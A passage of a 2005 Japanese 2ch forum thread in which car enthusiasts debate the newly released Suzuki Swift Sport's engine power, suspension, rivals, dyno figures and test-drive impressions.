旧スイスポのM15Aはまさに回して楽しいエンジン。
スペックだけで語るのは愚か。

120 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 13:11:07 ID:6G8vXDKX0

2chとはいえつまらん奴だね
漏れも含めIDあぼーんしてください

1.3からストロークで排気量稼いできて回転数上げるなんて、コストの面からも限界なんだと思うよ
それでもピストンやらがんばったんじゃないの？
皆ホンダならあと2000は回せるとか言いたいんだろうけど、スズキだよ？
応援してやれよと言いたい

121 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 13:13:53 ID:lvyVy8Km0

オイオイ、根拠の無い思い込みを突っ込まれたからって
つまらん奴扱いかよｗオマエが糞レスしなきゃ良かっただけだろｗ

122 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 13:14:17 ID:zI4E0uac0

今日発売のいくつかの雑誌でスイスポ紹介されてるな

123 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 13:16:36 ID:lvyVy8Km0

>>120
あ、ちなみにオマエが一番スズキに対して失礼な事言ってますから
自分で思い込みで貶しておいて応援してやれとは面白いｗ

124 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 13:24:50 ID:fLztZB1U0

6G8vXDKX0　は素人なんだろ
つまんないこと言ってないで
おとなしく引っ込んでろよ

125 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 13:50:09 ID:Kp/o0Ap50

>>120
M系エンジンは1.6が基本。で、ボア、ストロークの変更で1.3から1.8まで対応。
と、M系エンジン登場時の雑誌に関係者証言あり。
G13よりM13の方がエンジンブロックがでかいのはその証。

126 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 14:43:44 ID:cfNGt5B60

月曜日、試乗車ないか見に行くつもりで起きたのが午前９時。
が、起きた時点で忘れてて、洗濯して金田一耕助のビデオ見てたよ。
お客さんとこへ行くときに、スズキの前を通って思い出した。
金曜日こそ行ってみよう。

んで、スイスポのライバル（現行販売車種のみ）って

日本車
マツダ　　　　　　　デミオスポルト
ホンダ　　　　　　　フィット
日産　　　　　　　　マーチ１２ＳＲ
トヨタ　　　　　　　　ヴィッツ１．５ＲＳ
三菱　　　　　　　　コルトスポーツＸ
ダイハツ　　　　　　ＹＲＶ１．３ターボ

欧米
ＡＵＤＩ　　　　　　　Ａ３
ＢＭＷ　　　　　　　１１６ｉ
ゴルフ　　　　　　　ルポＧＴＩ（決してゴルフＧＴＩではない）
スマート　　　　　　スマートフォーフォー
アルファロメオ　　１４７ツインスパーク
ロータス　　　　　　エリーゼスタンダード
ミニ　　　　　　　　　ミニクーパー
シトロエン　　　　　Ｃ３
プジョー　　　　　　２０６ＸＳ
フォード　　　　　　フォーカス

これぐらいで良いかな？

127 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 15:16:48 ID:blgsrm2tO

さっきﾌﾟｼﾞｮｰの2ﾘｯﾀｰが120馬力って話が出てたが
ﾖｰﾛｯﾊﾟ車は国産に比べ絶対的に数字は低い
なぜか考えた事あるか？
ﾊﾟﾜｰうんぬんって言う馬鹿には判らないだろうが

128 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 15:21:15 ID:ZsfR1wYaO

>>126
外車のほうは、値段が高すぎて
比較対象に出来るか謎。
206かプントくらいじゃない？

129 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 15:40:41 ID:y1xIuHFy0

ミニサーキットでSタイヤ履いて、同じ1600ccのEK9シビックRを
ちぎってやろうと考えていたんだが
腕が同じレベルだったらどうやら無理みたいだな…。
って、俺みたいのスレ違い？

130 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 15:41:41 ID:Af9Yy/sf0

数字に踊らされてる。
悪い教育の見本ばっかりだな

131 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 15:43:43 ID:zNM1TShI0

なんていうか、スイスポは
HT81の印象が強すぎて不憫すぎる。
他のメーカーから比べれば
150万で単独グレードなんて作ってくれないだろ？
暖かく見守ってやろうよ。
車重が重くてパワーが無いとかいっているやつぁ
12SRでも買いなさいってこった。

132 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 16:06:06 ID:T2yYvPOa0

EK9＞＞＞＞＞＞＞＞＞すいすぽ

133 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 16:11:31 ID:ET4u+sH50

>130
禿銅
はやく試乗してみたいぜ。


ＨＴ81のＭ15Ａもトルク値で言えば、14.6kg.mと他社と同じ程度
でも4100ｒｐｍで最大トルクで、他のコンパクトと比べてもかなり低回転。
フラットトルク特性で、どこからでも気持ちイイ加速するよ。

コーナー立ち上がりで、何十メートルかはEP82とか突付きまわせるｗ
ブーストかかると…

134 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 16:34:54 ID:qHcUuePXO

今日 朝にスイスポ試乗した俺が来ましたよ

正直 このスレ見てて全然期待してなかったので
完成度の高さに驚いた
エンジンはよく回るし後ろ足はちゃんと仕事するし
全体的にスムーズって感じだった

ただ内装は(ry

135 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 16:49:33 ID:3+iGwsIk0

そりゃーまかりなりにもバイクメーカーだからな。

136 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 17:36:29 ID:zI4E0uac0

いいな、俺も早く試乗したい
セールスに試乗車が来たら連絡してくれと言ってあるんだが

137 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 18:17:47 ID:uzwb/BMh0

てゆーかちょっと↑で話題になった、ピストン裏にオイルを吹き付けるアレ

アレって、スズキでは２０年位前からやってるような、枯れた技術の応用でしょ？
別に高価なモノじゃないんじゃ・・・

138 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 18:31:45 ID:FH+U4c/z0

>>137
GSX-Rの油冷エンジンか
なつかすー

雑誌DRIVERにスイスポ試乗木載ってたよ
ATは6200位でシフトUPしてしまうそうだ
MTは6800まで引っ張ってシフトUPで5200
クロスしてるからオモシレーだろうな

139 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 18:33:29 ID:hlAAfCCE0

>>126
クルマのキャラ的にいったら、
輸入車は
VWルポGTI、シトロエンC2VTR（1.6L）、フィアットプントHGT、
フォードフィエスタST、NEWミニクーパー辺りじゃないかな。

140 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 18:58:19 ID:CdZXm06R0

ＥＫ9>>EG6>>>>>>>スイスポ

そろそろ本田には飽きていたので、真剣に買い替えを含めてかなり期待はしていたが、
さすがに125ｐｓじゃ話にならん。せめて160〜170ｐｓは欲しい。
数字に踊らされてると言われても、実際、競技の世界じゃ基本性能の数字が
かなりでかい意味を持つ。

141 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 18:59:50 ID:IZLpv2Oe0

いいこと教えてやろう。　　　う　で　を　み　が　け

142 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 19:11:40 ID:sQGKMl+k0

>70
ミシュランの銘品（迷品じゃないぞ）パイロットプライマシーがあるよ！

143 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 19:17:14 ID:gRffzKKRo

競技の世界ならＥＧはもっと下だお

144 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 19:20:43 ID:1O8f/b1s0

>>98
VTiはＤ１５Ｂなんだけど・・・(;´Д`)

145 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 19:23:21 ID:uEdMUvWc0

つーか
競技ベース車じゃない事は発表前から分かっていた筈だが？
腰高な実用ハッチじゃ根本的に相手にならんでしょ。
日常の中でちょっと楽しむ車じゃないのかな。

146 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 19:24:51 ID:DzC9qu6p0

乗ってもいねーのに良く言うよ。

147 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 19:35:00 ID:fvA9re9Q0

競技やらんし、サーキットや峠で何をどうやってもドンケツになっちまう
ぐらいの低スペックじゃなきゃいいよ。
日常楽しく走れる、交差点を曲がってもニヤニヤできるのが重要かな。
街中、峠、サーキットどこでも楽しめるのがいい。

バイク乗り多いみたいだけど、今乗ってるVTR250がまさに↑みたいなバイク。
バイク板でもスイスポ以上にスペック不評だが意外と走るし楽しいんだわこれが。

148 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 19:37:53 ID:UTkTPAZ50

>>140

車の基本性能が最高出力と最大トルクの値で
表現できるのでつか！！？

149 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 19:39:49 ID:UAJwi4e90

オープンデフ？

150 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 19:46:35 ID:sQGKMl+k0

初代スイスポに乗って感じたのは、足以外はすごくイイ。
足は車高調以外は試したが、しなやかな足は得られなかった。
スズキスポーツ＆カヤバには、しなやか系はムリじゃないかな。

だから、新型の足がテネコ（モンロー）ってことなので信用して買うつもり。
VWやここ数年足の評価の上がったマツダの純正だからね。

151 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 19:53:15 ID:0NqbPsVY0

新型ベース 緊急試乗＆解説「スイフトスポーツ」1.6リットル搭載で走りの性能を大幅アップ!!
http://blogs.dion.ne.jp/toshimrns/archives/1920887.html

152 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 20:14:39 ID:k0Y2oByC0

＞1.6リットル搭載で走りの性能を大幅アップ!!
軽ベースなのは今でも内証みたいだな。

153 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 20:30:46 ID:Zx8eQb9I0

>>144
今ググッたらEK3シビックって1500ｃｃで130馬力もあったのか！
足もダブルウィッシュボーンだし、なんか悔しいね。

154 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 20:37:38 ID:DzC9qu6p0

そのエンジンで排ガス規制通ったら苦労はしねぇ罠

155 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 20:50:30 ID:DFK6rE0U0

スポーツバージョンでマツダの純正ってとこが笑える
マツダなら89万円のデミオ買っても付いて来るのにねｗ
ここら辺が軽メーカーとスポーツ車メーカーの違いだな

156 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 20:54:55 ID:eEty0wf10

昔は1.6FFでターボやスーパーチャージャー付きもあったのに
詰まらない時代になったもんだ

157 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 20:59:15 ID:Zx8eQb9I0

>>154
後期型は新排ガス規制に対応している。

158 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 21:03:44 ID:uzwb/BMh0

新スイスポがFFで過給器ナシってのは、元ネタのスイフトスゥパァ1600がそうだから、と言い訳できるけど
WRCに参戦するという噂の新エリオ、の市販版に4WD、ターボ付きのスゲエ奴はあるんだろうか？

等とわけわからん事を言ってみる。

159 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 21:04:22 ID:IomXZvMj0

あのさ。
そろそろ夢を見るのはやめてくれないか。

ﾃﾝﾛｸ、125馬力。
これで決定。

160やら170馬力が欲しい？
なら他を選べ。

もうここは発売前の妄想ｽﾚじゃないんですけど。

160 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 21:11:03 ID:eAXLb5xb0

スズスポからタービンキットでないかしら

161 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 21:17:48 ID:b8sDDgGs0

>>127
欧州諸国では、馬力に対して自動車税を掛けているから。
あと、常用回転域のトルク重視のセッティングだから。

162 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 21:30:16 ID:7WAKE/KN0

正解。

163 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 21:37:57 ID:8D5ckP9v0

じゃぁみんなでドゥーシーボに乗ろうぜ！
125馬力なんていらないさ。

164 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 21:48:04 ID:4uGrYRGR0

DRIVER誌も読んだがエンジンに関しては、殆ど触れてないね。
いろんなインプレ見ても共通している事は、シャシー、足回りを絶賛してるけど
エンジンは？？？？だね。

165 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 21:54:30 ID:AVNlL2rc0

新しくなった排ガス規制とか安全基準とか
車として売るのに必要な厳しい基準をきちんと満たして、それでいて
こういう趣味性の高い車を作るには、現代は厳しい時代だと思う。

馬力が低めなのも、
>馬力に対して自動車税を掛けているから
ってのを聞いたら結構納得できる人いるんじゃないかな？俺も初めて知った。
実際125馬力でも俺には充分すぎる。

腕が無くてもそこそこに、腕があればより楽しい車じゃないのかな。
競技に使えないとか言うなら他の車に乗ればいいと思う。

自分達の未来を考えもせずに馬力のある車ばかり求めて、環境はどうなってもいいの？
そういう自分勝手な時代は、もうとっくに過ぎてるんですけど。



あーはやく新スイスポ乗りたい

166 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 21:57:29 ID:sQGKMl+k0

昔の雑誌の話ですまんが、
EG6のＢ16Aを測定したら公称170PS→実質145PS
AE101の4AGは160PS→120PS
NA6のB6は120PS→120PS
だった。測定機が信頼できるかわからんが。

もしｽｲｽﾎﾟが125PSｷｯﾁﾘ出ているならナカナカいいんでね？
触媒がエキマニ直後とフロア下の２箇所らしいから、
開発中のスズスポフロントパイプがストレートなら触媒が１個減って
もしかするとパワーアップするかも？

167 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 21:57:37 ID:Zowjas6c0

＞エンジンは？？？？だね。
軽ススキは素もと非力だからな。

168 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:00:00 ID:7WAKE/KN0

実際、この足は屈指のものだと思う。
こういうエンジンにシャーシが勝っている車で速く走れてこそ
腕が上がるってもんなのでは。というか、これで遅いっていうやつは
やっぱ「遅い」んだよ。

なんども出てるけどこの車は競技車両ではないし、俺はこういう車が欲しい。

169 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:01:03 ID:IomXZvMj0

>>165
お前が「環境はどうなってもいいの？」
とか言うな。
世の中もっと環境にやさしい車があるんだからな。

矛盾ｲｸﾅｲ。

170 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:02:05 ID:+YE7aRYL0

いくら排ガス抑えても、隣の国でガンガンばらまいてるんだから意味ないじゃん。
仮に世界から車がなくなっても、人間がいるかぎり地球環境は悪化する一方だし。
といいつつ、人知れずゴミ拾いとかボランティアでやってる俺かこよすぎだが。

171 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:03:58 ID:AVNlL2rc0

とか言ってるお前らも結局スイスポ乗るんだろｗｗｗｗｗ

172 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:04:51 ID:Q8mbAdyc0

>>DRIVER誌も読んだがエンジンに関しては、殆ど触れてないね。
ＥＫ−９のエンジン積んだらいいんでは？

173 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:07:19 ID:IomXZvMj0

>>171
スイスポかはわからんが
環境にやさしい車には乗らないだろうね。

つーか
国が決めた規制クリアしてるから環境に優しいわけでもないからな。
騙されてはいかんｗ

174 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:10:19 ID:AVNlL2rc0

環境への優しさと、乗って楽しい車かどうかは
互いに反比例する場合が多いってことかね。

180馬力ぐらいの水素エンジンが発明されたらすべて解決？

175 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:18:14 ID:ydMSfidI0

インテやインプレッサでの経験上、黒はぴっかぴっかにしにくい色です。
じぃっと見るとどうしても細かい傷、汚れが分かる。水垢もよく目立ちます。

それだけに気合でメンテナンスをして黒光りするとなかなかｶｺｲｲ!

さあ、毎日洗車する気合で、黒を買いましょうｗ愛情カラーですｗ

シルバーははっきり言ってめだちたくな〜い、汚れきら〜い
という意識が見えみえでカコ悪いと思います。

176 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:20:06 ID:Zowjas6c0

＞俺はこういう車が欲しい。
軽ススキはいっきに落込むみたいだな。

177 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:21:23 ID:sQGKMl+k0

＞168　禿げ同
初代の雑誌インプレ見ていたら、１つだけ
どこに飛んでいくかわからないって本当の事書いている人いたね。
初代はｴﾝｼﾞﾝを楽しむ車だけど安心してコーナリングできない。スズキは反省したんだろうね。

178 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:25:13 ID:Zowjas6c0

＞安心してコーナリングできない。
軽ススキの仕様だからな。

179 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:26:02 ID:Q8mbAdyc0

なんじゃそりゃ・・・orz

180 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:33:09 ID:Zowjas6c0

＞なんじゃそりゃ・・・orz
ＭＴ追加が遅れたのは足回りのせいだからな。

181 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:43:44 ID:/uoVpFF0O

昔、家にあったマリノのMTの4A-FEでもけっこう加速感あったから俺には125馬力で十分だ。

182 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:50:24 ID:QvB/qo100

運転しやすく、楽しい車ならいい。スイフトの味ってこれなんだろうな。
過剰パワーを求めるなら、他の車を選んだ方がいいわな。

183 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 22:58:09 ID:8n2T0UNM0

では1.3MTで桶ということで？

184 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 23:07:17 ID:T2yYvPOa0

ロードスターほど楽しくないお

185 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 23:07:40 ID:Zowjas6c0

＞では1.3MTで桶ということで？
軽ススキの下取りは消費税以下だからな。

186 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 23:10:19 ID:4RCOBGfl0

>>182
毎回同じ様なこと書くなよ

187 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 23:24:12 ID:+33XggTy0

ロードスターね・・ファミリーユースを考えなきゃどんな車でも
楽しいのが創れるわな・・

相変わらずデミオヌポルト、ヴィッツRS乗りが多いスレだな。
相手してやるよ、オレの旧スポがｗ　新型が出るまでもねぇｗ

188 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 23:32:49 ID:godOlpY+0

デザインが良ければロドスタ欲しかった。

189 名前：161：2005/09/20(火) 23:33:31 ID:b8sDDgGs0

>>165
特にイタリアでは、若年層ドライバーには大排気量・高馬力の車は危ないということで、
免許取得3年以内の若者（詳細忘れた）は55馬力以下の車にしか乗れなくなったとか。

そのおかげかどうか、FIAT CINQUECENT TROFEOのような愉快な車が出てきた。

最高馬力とかに拘らない、愉快なホットハッチがもっと市場に出てくると良いなぁ……

190 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 23:34:18 ID:eAXLb5xb0

なんかそう考えると存在自体がどっちつかずの中途半端な車に思えてきた。
ファミリーユースなら他にもゴマンとあるわけだし１．６L専用エンジンなのに
125psとｼｮﾎﾞいし３ドアにすればいいのに無印スイフトと同じ５ドアだしなんかも
うﾅﾆがしたいのかわからないです。

191 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 23:46:08 ID:+33XggTy0

旧スポ乗りの妄想だが、旧型の気持ちよさからすると
ある程度新型も気持ちいいんでない？まぁ車重の問題はあるにしても。
エクステリアと赤シート除けば、走りに期待してる旧型オーナーも
結構いると思うけど。皆あの気持ちよさを知ってるんだから。
買い替えも考えてるだけに、MCでもっといいの出して欲しいと
いうのはあるけど。ほとんど街乗りのみだからこう思うのかもしれん。
ハイパワーが必要な場面がほどんどないしね・・

192 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 23:51:02 ID:+sxZMzi80

http://www.webcg.net/WEBCG/impressions/000017178.html
内装の評価以外は好印象

193 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 23:59:26 ID:B96TxQuW0

３ドアも用意してくれよと国内メーカーに言いたい

194 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 00:11:42 ID:v/Iq5me40

３ドアなら俺は買わん。

195 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 00:16:30 ID:D7keeRcNO

スペック最重視というわけでもないが、
持つスペックよりも速く走らせることは不可能なのも事実だからな。
遅いスポーツモデルはそれだけで魅力が大幅にダウンするよ。

196 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 00:16:45 ID:fuRnvrB60

もしMTもきちんと発売されたとして

マイチェンはしてくれるのだろうか・・・

197 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 00:25:11 ID:G0Ufvfjl0

スズキは基本的に従来モデルほったらかしだからな。
スーパー１６００が順調なら1.2年後にこれベースで”ワークス”でも出すんじゃないの。

今回のスイストスポーツって初代スイフトのＲＳみたいなもんじゃないの。

198 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 00:34:18 ID:y+yin9rA0

え？旧スイスポって一度もマイチェンしていないのですか？

199 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 00:48:05 ID:JNxQ+xoR0

>>195
あなたにはエボインプのがお似合いでは・・？

200 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 00:52:17 ID:pprh7DtU0

このスレに何しに来てるんだろう？
スイスポに何を期待してるんだろう、とは思うな。

201 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 00:56:17 ID:T+Ruy2/p0

コンパクトに8000回転オーバーまでスカーンと回るエンジンを載せることに意義がある

202 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 01:01:07 ID:IYQ83uKd0

スカスカでも、上まで回るんなら
「もう必死でしょ！」って走りができるな。

203 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 01:50:39 ID:xkycs9wK0

>>151
さっそく読みました。
スイスポに興味ある香具師は読むべし。

204 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 02:17:15 ID:faaosavW0

結局の所スイスポは

『楽しめる車』であり
『勝てる車』　ではない。

ジムカーナをやってる自分には少しガカーリしましたよ。
だって新車で速そうな車ってインプとエボしかねぇんだよなぁ。
中古のＥＧ，ＥＫ，ＥＦの方が速いってのもなんだかなぁ。

205 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 02:27:31 ID:C/ixbJGt0

大阪や箱根の事故のように
スポーツ糊はDQNが多いので、各社方針転換しております。
これ以上日本の人口減ると困るでしょ。

206 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 02:37:43 ID:StjfInHZ0

勝てる車？
ｲﾗﾈｗ

楽しめる車で十分。

207 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 03:35:46 ID:WXlJh7+b0

だから、エンジンしょぼいと思うなら、インプなりエボなり、
NAじゃなきゃっていうならインテRやらS2000があるだろう。
たかだか150万の1.6Lに何を求めているんだ。

208 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 03:46:25 ID:DczlmBlH0

そろそろスルーしる。
本気でジムカーナやる香具師がLSDなしのクルマを検討するわけねーべよ。
スペック云々の香具師は九割九分ただの煽りだ。

209 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 04:01:35 ID:ZfnUI0fZ0

所詮、ハッタリな車ですから
三菱やスバルみたいなロードゴーイングレーサーな車じゃありません
そのかわり値段は半分です

210 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 04:16:27 ID:a0BngF3j0

>>208
本気でジムカーナやるならLSDは100%社外品を後付けします。
純正で装着されていたとしてもそんなぬるいデフは使えません。

211 名前：某チューニングメーカー勤務 ：2005/09/21(水) 05:31:55 ID:buDJYe0N0

スイスポダイナモで98PS/6250rpm

212 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 06:31:09 ID:7CBWAZC9O

スイスポてコンパクトカーだよね？？

213 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 06:31:21 ID:7fNPyd6Z0

安かろう悪かろうだな

214 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 06:55:16 ID:Dsiy3ITi0

藻前の頭？（ｗ

215 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 07:04:13 ID:QUgg995co

ＥＧとＥＦが今まだ現役なｼﾞﾑｶ見たいな。
JAF戦だとほとんど見掛けないが？
あ〜練習会とかか。雑誌主催のやつとか。

216 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 07:28:59 ID:PWYRD6Kv0

国産他メーカーでもこの値段でこの内容はできてない。
そんなに遅いっていうならベスモでバトルしてもらえば良いじゃない。
公道で素人が乗るにはこの位で充分。
パワーが欲しければ、１００万持ってチューニングショップへ走るか、
２５０万のフィエスタＳＴでも買いな。

217 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 07:46:31 ID:eyo/2LDl0

競技で勝利を目指すなら、車は何でもいいだろ。過程を楽しめ。
本当に勝ちたいなら迷う事は無い。一番高性能な車を選べばイインジャネ？
フィーリングが合わない、人と同じは嫌だ、飽きたとかいう奴は本気で勝ちたくないんでしょ。

ジムカやってみたいけど、ハマりそうだからやらない…
と、モータースポーツじゃないけど、タイム争う競技やってるオレが来ましたよ。

218 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 08:07:30 ID:v/Iq5me40

あー！馬力厨マジでうぜー！！
発売前に違う車買っちゃったばっかりで僻んでいるんだろ？
羨ましいって正直に言えよ。

219 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 08:43:40 ID:Zx6tsFuC0

age

220 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 09:01:09 ID:dqhGdDLm0

>>202
例えば軽トラはスピード出なくてもブン回してる気になれるからなw

221 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 09:16:09 ID:l9fXWjOp0

>>211
そりゃ嘘じゃないの？
ルポGTIでも、SABの奴で、１０８馬力だったよ？

222 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 09:16:58 ID:y+yin9rA0

今回のスイスポで一番汚れが目立つ色って、やはりｲｴﾛーですか。

223 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 09:28:58 ID:LpUtu+LP0

>>222
白とどっこい？


もう試乗できんだから乗ってこいよ。
乗る勇気が無いのか？
免許無いのか？ｗ
田舎は試乗車無いのか？ｗｗ

224 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 09:50:49 ID:SE3QEL2a0

>>222
できれば白と黄色の両方を試乗で借りる。
畑かダートラ場を全開走行して汚す。
両者を比較する。
これサイコー。

225 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 09:52:12 ID:H/95mv4d0

>211
すいません。ソコってドコですか？
Mｔ．Fujiの西ですか？東ですか？
関東の西ですか？東ですか？

そうなら、フツーのM15よりも低いんですが？
（”シャシダイの違い”は置いといて、同じ道具でフツーのも測定してます？）

226 名前：価格聞いた10：2005/09/21(水) 09:54:14 ID:UmvfUIjyO

試乗してきました。
で、これがスポーツカーか、と感動。
家のカローラと違い、ふにゃふにゃしない。
何をしてもすぐにとまる感じ。
でもブレーキは油断するとかっくんになるから慣れが必要か…

227 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 10:03:15 ID:TCbm1x3h0

>>221
みなとみらいのシャシダイは甘い測定の奴だったような。
チューニングパーツメーカーやワークスはダイナパックとか言うローラー測定とは違う奴を使ってる希ガス。

228 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 10:10:09 ID:l9fXWjOp0

>>227
大名パックでも新目の、タイヤはずすタイプでした
車軸から測る奴ね

やはりメーカーとかのは、もっと高精度なんでしょうな

229 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 10:26:46 ID:CXmxahS3O

>>228
ATなので高回転時にトルコンが滑って低い数値が出たんじゃないかと思うが。
なんにせよ早くMT出てくれ！

230 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 10:33:39 ID:K763YhZF0

うはｗｗCMでスポーツ出たの知って
よく調べもせんでディーラー行ったらMT来月だって言われちった。
買う気マンマンなんだけどやっぱ試乗してからじゃないと契約すんの怖いやね。
AT買った人のインプレ無いかと思って2ch覗いたら結構アンチ沸いてる？
スズキの乗用車にアンチが付くとは思わんかったがｗ

231 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 10:36:42 ID:Uqh1vSd70

最近は怖いな
SABとかにもダイノパックとかあるから

近所のは張り出しあるし、見てると面白い
ランエボとかは300馬力越えてるし、NAでもインテとかカタログスペック越えてるし・・・
ｂBが60馬力とか糞ワロタけど

232 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 10:41:41 ID:H/95mv4d0

>>211
某ってどこよ？

233 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 11:10:00 ID:ttYmRgdFO

>>227
みなとみらいのﾀﾞｲﾉｼﾞｪｯﾄは辛口。
東雲のﾎﾞｯｼｭは激甘。


折れはｼｬｼﾀﾞｲのせても馬力の数値で一喜一憂しない。それよりﾄﾙｸの出方とかの方を重視する。
数字より曲線だ。

234 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 11:25:30 ID:hETY9M3T0

車種によって程度の差があるらしいがローラー式=ダイナパックx1.2〜1.3
ダイナパックだとたいていの車種でカタログ値より低い値がでるはず
昔X4で測定したら100馬力ちょっとだった

235 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 12:25:20 ID:ussnq/EIO

スズキからやっとカタログが届いた。二週間放置プレイというのはいただけない。こういう所もスズキクオリティなのか…

236 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 12:39:01 ID:U81oHr4p0

>>235
うちにも来ましたよ〜。注文が殺到したんでしょうね、カタログの…

237 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 13:04:36 ID:5q2wqAuD0

俺は３日で届いたよ。
でもサイトの画像をプリントアウトしたって感じ・・・。

まあ、どこのメーカーもこんなもんだけどね。

238 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 13:28:52 ID:N4wb7nP40

